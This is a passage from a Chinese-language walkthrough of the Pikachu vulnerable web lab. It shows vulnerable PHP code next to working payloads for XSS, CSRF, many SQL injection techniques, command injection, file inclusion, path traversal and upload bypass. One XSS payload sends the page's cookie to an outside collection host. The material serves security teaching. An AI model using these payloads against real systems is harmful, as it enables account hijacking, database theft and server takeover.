中输入的内容,说明会将插入的内容会被存到数据库中,会造成持续性的攻击.再源代码里也能看到被插入进的 payload. ### DOM型xss **什么是 DOM** DOM 全称是 Document Object Model,也就是文档对象模型.我们可以将 DOM 理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式.当创建好一个页面并加载到浏览器时,DOM 就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容.故可以使用 Javascript 语言来操作 DOM 以达到网页的目的. **什么是 DOM 型 XSS** 首先 DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞. 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件.可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素.也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行.基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用 **核心代码** ```html <div id="xssd_main"> <script> function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script> <!--<a href="" onclick=('xss')>--> <input id="text" name="text" type="text" value="" /> <input id="button" type="button" value="click me!" onclick="domxss()" /> <div id="dom"></div> </div> ``` **漏洞利用** 输入`test#!12` 测试,F12 查看源代码,找出可注入点是 `<a href="test#!12">what do you see?</a>` ,对 href 构造一个闭合,这样就能实现对 a 标签的一个"控制"的作用. payload 构造如下 `'> <marquee loop="99" onfinish=alert(1)>hack the planet</marquee>` ### DOM型xss-x **核心代码** ```html <div id="xssd_main"> <script> function domxss(){ var str = window.location.search; var txss = decodeURIComponent(str.split("text=")[1]); var xss = txss.replace(/\+/g,' '); // alert(xss); document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script> <!--<a href="" onclick=('xss')>--> <form method="get"> <input id="text" name="text" type="text" value="" /> <input id="submit" type="submit" value="请说出你的伤心往事"/> </form> <div id="dom"></div> </div> ``` **漏洞利用** 同之前的步骤,查看源代码,区别第一个 DOM 演示,输入是从 URL 的参数中获取的(类似于反射型),但输出任在 a 标签里,故和之前的方法相同设置 payload payload 构造如下 `'> <marquee loop="99" onfinish=alert(1)>hack the planet</marquee>` ### xss之盲打 **服务器端核心代码** ```php if(array_key_exists("content",$_POST) && $_POST['content']!=null){ $content=escape($link, $_POST['content']); $name=escape($link, $_POST['name']); $time=$time=date('Y-m-d g:i:s'); $query="insert into xssblind(time,content,name) values('$time','$content','$name')"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ $html.="<p>谢谢参与,阁下的看法我们已经收到!</p>"; }else { $html.="<p>ooo.提交出现异常,请重新提交</p>"; } } ``` XSS盲打就是攻击者在不知道后台是否存在 xss 漏洞的情况下,提交恶意 JS 代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的. **漏洞利用** 输入 payload `<script>alert('老铁,欧里给!')</script>` ,观察到可注入点,以管理员的身份登入后台,就会出现弹窗,这就是一个简单的盲打.通过 xss 钓鱼的方法就能获取到 cookie,就能伪造管理员身份进行登录了. - 后台: http://<IP地址!!!>/pikachu/vul/xss/xssblind/admin_login.php - 账号密码: admin 123456 到 pikachu 平台下管理工具,进去初始化平台 盗 cookie payload `<script>document.location = 'http://<xss平台地址>/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>` ### xss之过滤 **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['message'] != null){ //这里会使用正则对<script进行替换为空,也就是过滤掉 $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']); if($message == 'yes'){ $html.="<p>那就去人民广场一个人坐一会儿吧!</p>"; }else{ $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>"; } } ``` 这里注释写的很清楚了,不多说了 **漏洞利用** 过滤了 `<script` ,还有很多的标签可以用,再说还有很多绕过方法 - payload: `<marquee loop="99" onfinish=alert(1)>hack the planet</marquee>` - payload: `<ScrIpT>alert('老铁,欧里给!')</sCriPt>` ### xss之htmlspecialchars **服务器端核心代码** ```php if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入点啥吧!</p>"; }else { //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理 $message=htmlspecialchars($_GET['message']); $html1.="<p class='notice'>你的输入已经被记录:</p>"; //输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)' // $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>"; $html2.="<a href='{$message}'>{$message}</a>"; } } ``` - **htmlspecialchars(string,flags,character-set,double_encode)** htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体. htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效.但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号 **漏洞利用** 先输入被预定义的字符 `&<s>"11<>11'123<123>`,在前端查看代码观察有是否有过滤掉单引号或双引号 可见单引号后面的出来了 构造个 payload `'onclick='alert(1)'` ### xss之href输出 **服务器端核心代码** ```php if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>叫你输入个url,你咋不听?</p>"; } if($_GET['message'] == 'www.baidu.com'){ $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>"; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>"; } } ``` **漏洞利用** 先输入一些字符串 `&<s>"11<>11'123<123>`,查看前端的源代码,发现输入的字符都被转义了.但 `<a>` 标签的 href 属性也是可以执行 JS 表达式的 构造个 payload `Javascript:alert('1')` ### xss之js输出 **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['message'] !=null){ $jsvar=$_GET['message']; // $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES); if($jsvar == 'tmac'){ $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />"; } } ``` ```js <script> $ms='<?php echo $jsvar;?>'; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('无论如何不要放弃心中所爱..') } } </script> ``` **漏洞利用** 先输入一些字符串 `&<s>"11<>11'123<123>`,查看前端的源代码 对于 JS 代码,我们需要构造一个闭合,根据显示的代码构造 payload `abc'</script><script>alert(1)</script>` --- ## CSRF **如何确认存在一个 CSRF 漏洞** 1. 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造 比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造; 比如对于敏感信息的修改并没有使用安全的 token 验证,导致请求容易被伪造; 2. 确认凭证的有效期(这个问题会提高CSRF被利用的概率) 虽然退出或者关闭了浏览器,但存在本地的 cookie 仍然有效,或者 session 并没有及时过期,导致 CSRF 攻击变的简单 ### CSRF(get) 首先进行登录,修改一下个人信息,并到 Brup Suite 上进行抓包,将抓到的 URL 进行修改(由自己作为攻击者),再发送给攻击目标(由自己作为被攻击者) **漏洞利用** 稍微修改一下,测试 `http://<服务器IP!!!>/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=futa&phonenum=110&add=123&email=lili%40pikachu.com1&submit=submit` ### CSRF(POST) 同样,登录,修改一下个人信息,并到 Brup Suite 上进行抓包,对于 POST型,请求已经不能通过修改 URL 来借用用户权限,那么需要自己做一个表单,再返回到提交页面来完成修改. **漏洞利用** 直接从 burp 生成 poc 表单 ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://<IP address>/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="futa1" /> <input type="hidden" name="phonenum" value="1110" /> <input type="hidden" name="add" value="1213" /> <input type="hidden" name="email" value="lil1i&#64;pikachu&#46;com1" /> <input type="hidden" name="submit" value="submit" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ### CSRF_Token 要抵御 CSRF,关键在于在请求中放入攻击者不能伪造的信息,且该信息不存在于 cookie 之中.故每次请求都可以加入一个随机码,且后台要对这个随机码进行验证. **漏洞利用** 如果做过 dvwa 同级的 csrf 应该清楚,这里可以使用 xss 来配合盗取 token 来造成 csrf,这里略 --- ## Sql_Inject 在 owasp 发布的 top10 排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞. `一个严重的SQL注入漏洞,可能会直接导致一家公司破产!` SQL 注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行. 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷). 在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞: 1. 对传进 SQL 语句里面的变量进行过滤,不允许危险字符传入; 2. 使用参数化(Parameterized Query 或 Parameterized Statement); 3. 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重! ### 数字型注入(post) **服务器端核心代码** ```php if(isset($_POST['submit']) && $_POST['id']!=null){ //这里没有做任何处理,直接拼到select里面去了,形成Sql注入 $id=$_POST['id']; $query="select username,email from member where id=$id"; $result=execute($link, $query); //这里如果用==1,会严格一点 if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $username=$data['username']; $email=$data['email']; $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>"; } } ``` **漏洞利用** 抓包,查看 post 参数 构造 payload `1' or '1' ='1` 报错 `1 or 1 =1` 未报错,存在数字型注入 ### 字符型注入(get) **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username='$name'"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } ``` **漏洞利用** 构造 payload `http://<IP address!!!>/pikachu/vul/sqli/sqli_str.php?name=1' or '1' ='1&submit=%E6%9F%A5%E8%AF%A2` ### 搜索型注入 **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是模糊匹配,需要考虑闭合 $query="select username,id,email from member where username like '%$name%'"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ //彩蛋:这里还有个xss $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />"; while($data=mysqli_fetch_assoc($result)){ $uname=$data['username']; $id=$data['id']; $email=$data['email']; $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>"; } }else{ $html1.="<p class='notice'>0o...没有搜索到你输入的信息!</p>"; } } ``` **漏洞利用** 随意输入一个字母,能看到匹配出了对应的信息.那么按照 SQL 的模糊查询命令 `select * from 表名 where 字段名 like ‘%(对应值)%’;` ,发现可以按照之前的思路来实现万能语句的拼接. 构造 payload `' or 1=1 #` 这里还存在一个xss `'# <script>alert('沵咑礷赇潒礤蒣騉')</script>` **union注入** union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果. 以 pikachu 平台的数据库为例,输入 `select id,email from member where username='kevin' union select username,pw from member where id=1` ;查看查询结果. 但是联合多个 SQL 语句时可能出现报错,因为查询的字段不能超过主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段.返回 pikachu 平台,在 SQL 注入下随意打开搜索型栏目,输入我们构造的 order by 语句进行测试. 输入 `' order by 4#%` ,报错 输入 `' order by 3#%` ,未报错,通过这个简单的办法找到主查询一共有三个字段. 构造 payload: `a' union select database(),user(),version()#%` **information_schema 注入** information_schema 数据库是 MySQL 系统自带的数据库.其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息.通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来.接下来是对 information_schema 注入的演示. 首先同之前的步骤,使用 order by 来判断查询的字段.先找出数据库的名称,输入 `a' union select database(),user(),4#%` 得到反馈,判断数据库名称为 pikachu. 获取表名,输入:`a' union select table_schema,table_name,2 from information_schema.tables where table_schema='pikachu'#` 获取字段名,输入:`a'union select table_name,column_name,2 from information_schema.columns where table_name='users'#%` 获取数据,输入:`a'union select username ,password,4 from users#%` **select 下的报错演示** select/insert/update/delete 都可以使用报错来获取信息. - **UPDATEXML(xml_document,XPathstring,new_value)** Updatexml() 函数作用:改变(查找并替换)XML 文档中符合条件的节点的值. - 第一个参数 : fiedname 是 String 格式,为表中的字段名. - 第二个参数 : XPathstring(Xpath 格式的字符串). - 第三个参数 : new_value,String 格式,替换查找到的符合条件的 X 改变 XML_document 中符合 XPATH_string 的值 而我们的注入语句为: `a' and updatexml(1,concat(0x7e,(SELECT @@version)),0)#` 其中的 concat() 函数是将其连成一个字符串,因此不会符合 XPATH_string 的格式,从而出现格式错误,爆出 `ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'` 获取数据库表名,输入:`a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#` ,但是反馈回的错误表示只能显示一行,所以采用 limit 来一行一行显示 输入 `a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#` 更改 limit 后面的数字 pikachu'limit 0,爆表名 字段名 `a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1)),0)#` 更改 limit 后面的数字,爆表名 数据 `a' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#` 数据 `a' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#` ### xx型注入 **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } ``` **漏洞利用** 参照代码,这里使用字符型且没有使用相似查询,然而这个不重要,关键是构造一个闭合 payload: `' or '1' = '1 #` ### "insert/update"注入 insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL 到后端的 insert 相关内容中,导致了 insert 注入. **服务器端核心代码** ```php if(isset($_POST['submit'])){ if($_POST['username']!=null &&$_POST['password']!=null){ // $getdata=escape($link, $_POST);//转义 //没转义,导致注入漏洞,操作类型为insert $getdata=$_POST; $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>"; }else { $html.="<p>注册失败,请检查下数据库是否还活着</p>"; } }else{ $html.="<p>必填项不能为空哦</p>"; } } ``` **漏洞利用** 在上面搜索型注入中演示了 select 类报错获取信息,insert 和 update 其实类似 先测 insert 注入,在注册页面输入 `'` ,来查看后端反馈的观察,通过观察报错了解到提交的内容在后台参与了拼接. 版本 `1' or updatexml(1,concat(0x7e,(version())),0) or'')#` 表名 `1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0) or'')#` 老规矩,改 limit 后的数字 字段名 `1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1)),0) or'')#` 老规矩,改 limit 后的数字 数据 `1' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or'')#` 数据 `1' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'')#` 下面测试 update **服务器端核心代码** ```php if(isset($_POST['submit'])){ if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){ // $getdata=escape($link, $_POST); //未转义,形成注入,sql操作类型为update $getdata=$_POST; $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){ header("location:sqli_mem.php"); }else { $html1.='修改失败,请重试'; } } } ``` **漏洞利用** 版本 `1'or updatexml(2,concat(0x7e,(version())),0) or'' where username = <注意!!!这里是你的用户名>;#` 例如我的: `1'or updatexml(2,concat(0x7e,(version())),0) or'' where username = 123;#` 后面爆剩下的略,累了 ### "delete"注入 **服务器端核心代码** ```php // if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ //没对传进来的id进行处理,导致DEL注入 if(array_key_exists('id', $_GET)){ $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ header("location:sqli_del.php"); }else{ $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>"; } } ``` **漏洞利用** 抓包 `GET /pikachu/vul/sqli/sqli_del.php?id=1 HTTP/1.1` 参数 id 可以尝试 sql 报错注入,构造 payload `1 or updatexml(1,concat(0x7e,database()),0)` 通过 Burp Suite 中自带的 URL 转换编码来转换替换 ID 后面略 ### "http_header"注入 **服务器端核心代码** ```php if(isset($_GET['logout']) && $_GET['logout'] == 1){ setcookie('ant[uname]','',time()-3600); setcookie('ant[pw]','',time()-3600); header("location:sqli_header_login.php"); } ?> ``` **漏洞利用** 登录后去 Burp 中找到登录的 GET 请求,把请求发送到 Repeater 模块中,去除 User-Agent:,然后输入 `'`s 然后运行后观察 MYSQL 语法报错然后发现存在 SQL 注入漏洞. 爆库名 payload: `firefox' or updatexml(1,concat(0x7e,database ()),0) or '` 后面略 ### 盲注(base_on_boolian) 盲注就是在 sql 注入过程中,sql 语句执行的选择后,报错的数据不能回显到前端页面(后台使用了错误消息屏蔽方法屏蔽了报错).在无法通过返回的信息进行 sql 注入时,采用一些方法来判断表名长度、列名长度等数据后来爆破出数据库数据的的这个过程称为盲注. **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //mysqi_query不打印错误描述,即使存在注入,也不好判断 $result=mysqli_query($link, $query);// // $result=execute($link, $query); if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } ``` **漏洞利用** 基于 boolean 盲注主要表现: ``` 1. 没有报错信息 2. 不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1) 3. 在正确的输入下,输入 and 1=1/and 1=2 发现可以判断 ``` 手工盲注的步骤 ``` 1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据 ``` `注: 这里 123 是我创建的用户,可能原来是 admin,自己查一下数据库里的数据` payload: `123' and 1=1 #` 有结果返回说明是字符型 payload: `123' and length(database())=7 #` 有结果,库名字7个字符 后面就是正常的盲注爆库步骤了,略 ### 盲注(base_on_time) **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 $result=mysqli_query($link, $query);//mysqi_query不打印错误描述 // $result=execute($link, $query); // $html.="<p class='notice'>i don't care who you are!</p>"; if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; //这里不管输入啥,返回的都是一样的信息,所以更加不好判断 $html.="<p class='notice'>i don't care who you are!</p>"; } }else{ $html.="<p class='notice'>i don't care who you are!</p>"; } } ``` **漏洞利用** 源码里注释说的很清楚了,不管输入的是啥,返回的都是一样的.但就算没有不同的返回值,也是存在不同的返回情况的,因为查询语句是一定会被执行的.能通过控制返回的时间来判断查询是否存在 `123' and if(length(database())=7,sleep(5),1) #` 明显延迟,说明数据库名的长度为5个字符; 后面的步骤按部就班,略 ### 宽字节注入 **服务器端核心代码** ```php if(isset($_POST['submit']) && $_POST['name']!=null){ $name = escape($link,$_POST['name']); $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题 $set = "set character_set_client=gbk"; execute($link,$set); //mysqi_query不打印错误描述 $result=mysqli_query($link, $query); if(mysqli_num_rows($result) >= 1){ while ($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } ``` **漏洞利用** id 的参数传入代码层,就会在 `’` 前加一个 `\`,由于采用的 URL 编码,所以产生的效果是 `%df%5c%27` 关键就在这,`%df` 会吃掉 `%5c`,形成一个新的字节,举个例子就是 `%d5` 遇到 `%5c` 会把 `%5c` 吃掉,形成 `%d5%5c` ,这个编码经过代码解码后会形成一个汉字 `"誠"` 因为 `%df` 的关系,`\` 的编码 `%5c` 被吃掉了,也就失去了转义的效果,直接被带入到 mysql 中,然后 mysql 在解读时无视了 `%a0%5c` 形成的新字节,那么单引号便重新发挥了效果 这作者写提示就 TM 玩似的,太不友好了 - 测试payload: `lili%df' or 1=1 #` - 测试payload: `lili%df%27%20or%201=1%23` - 爆库payload: `lili%df' union select user(),database() #` - 爆表payload: `lili%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #` - 后面略 --- ## RCE RCE 漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的 web 管理界面上 一般会给用户提供一个 ping 操作的 web 界面,用户从 web 界面输入目标 IP,提交后,后台会对该 IP 地址进行一次 ping 测试,并返回测试结果. 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交"意想不到"的命令,从而让后台进行执行,从而控制整个后台服务器 ### exec_"ping" **服务器端核心代码** ```php if(isset($_POST['submit']) && $_POST['ipaddress']!=null){ $ip=$_POST['ipaddress']; // $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255 if(stristr(php_uname('s'), 'windows')){ // var_dump(php_uname('s')); $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理 }else { $result.=shell_exec('ping -c 4 '.$ip); } } ``` **漏洞利用** 可以拼接想要执行的命令 - payload: `127.0.0.1 && ipconfig` - payload: `127.0.0.1 & ipconfig` - payload: `127.0.0.1 | ipconfig` ### exec_"eval" **服务器端核心代码** ```php if(isset($_POST['submit']) && $_POST['txt'] != null){ if(@!eval($_POST['txt'])){ $html.="<p>你喜欢的字符还挺奇怪的!</p>"; } } ``` - **eval(phpcode)** eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP 代码,且必须以分号结尾. 如果没有在代码字符串中调用 return 语句,则返回 NULL.如果代码中存在解析错误,则 eval() 函数返回 false. **漏洞利用** 如果后台对输入没有处理,那么我们输入一个php代码:`phpinfo();` ,就会直接执行代码而不是返回正确的窗口 --- ## File_Inclusion 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中,提供了: - include(),include_once() - require(),require_once() 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题. 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞. 攻击着会指定一个"意想不到"的文件让包含函数去执行,从而造成恶意操作. 根据不同的配置环境,文件包含漏洞分为如下两种情况: 1. 本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息.很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力. 2. 远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩. 因此,在 web 应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤. ### 本地文件包含 **服务器端核心代码** ```php if(isset($_GET['submit']) && $_GET['filename']!=null){ $filename=$_GET['filename']; include "include/$filename";//变量传进来直接包含,没做任何的安全限制 // //安全的写法,使用白名单,严格指定包含的文件名 // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){ // include "include/$filename"; // } } ``` **漏洞利用** 查看页面的 url: `http://<服务器IP!!!>/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交` 尝试构造 payload: `http://<服务器IP!!!>/pikachu/vul/fileinclude/fi_local.php?filename=../../../test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4` ### 远程文件包含 将 allow_url_include 设置为 On **服务器端核心代码** ```php //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置 if(isset($_GET['submit']) && $_GET['filename']!=null){ $filename=$_GET['filename']; include "$filename";//变量传进来直接包含,没做任何的安全限制 } ``` **漏洞利用** 尝试构造 payload: `http://<服务器IP!!!>/pikachu/vul/fileinclude/fi_remote.php?filename=http://<服务器B IP!!!>/phpinfo.php&submit=%E6%8F%90%E4%BA%A4` --- ## Unsafe_Filedownload 文件下载功能在很多 web 系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件 response 给浏览器,从而完成下载. 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞. 此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来. 从而导致后台敏感信息(密码文件、源代码等)被下载. 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑. 切记:所有与前端交互的数据都是不安全的,不能掉以轻心! **漏洞利用** 构造 payload: `http://<服务器IP!!!>/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php` --- ## Unsafe_Fileupload 文件上传功能在 web 应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等.当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录. 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被 webshell. 所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑.比如: - 验证文件类型、后缀名、大小; - 验证文件的上传方式; - 对文件进行一定复杂的重命名; - 不要暴露文件上传后的路径; - 等等... ### client_check **服务器端核心代码** ```php if(isset($_POST['submit'])){ // var_dump($_FILES); $save_path='uploads';//指定在当前目录建立一个目录 $upload=upload_client('uploadfile',$save_path);//调用函数 if($upload['return']){ $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>"; }else{ $html.="<p class=notice>{$upload['error']}</p>"; } } ``` **漏洞利用** 说只允许上传图片文件,那么查看前端代码,当页面发生改变时,会调用这个checkFileExt函数来检查上传的是不是图片 这里可以把文件先改成图片的后缀名,然后抓包修改后缀上传 ### MIME_type **什么是 MIME** 最早的 HTTP 协议中,并没有附加的数据类型信息,所有传送的数据都被客户程序解释为超文本标记语言 HTML 文档,而为了支持多媒体数据类型,HTTP 协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型. MIME意为多目 Internet 邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理.然而当它被 HTTP 协议支持之后,它的意义就更为显著了.它使得 HTTP 传输的不仅是普通的文本,而变得丰富多彩. 每个 MIME 类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 image 等,后面定义具体的种类. 常见的 MIME 类型 - 超文本标记语言文本 .html,.html text/html - 普通文本 .txt text/plain - RTF 文本 .rtf application/rtf - GIF 图形 .gif image/gif 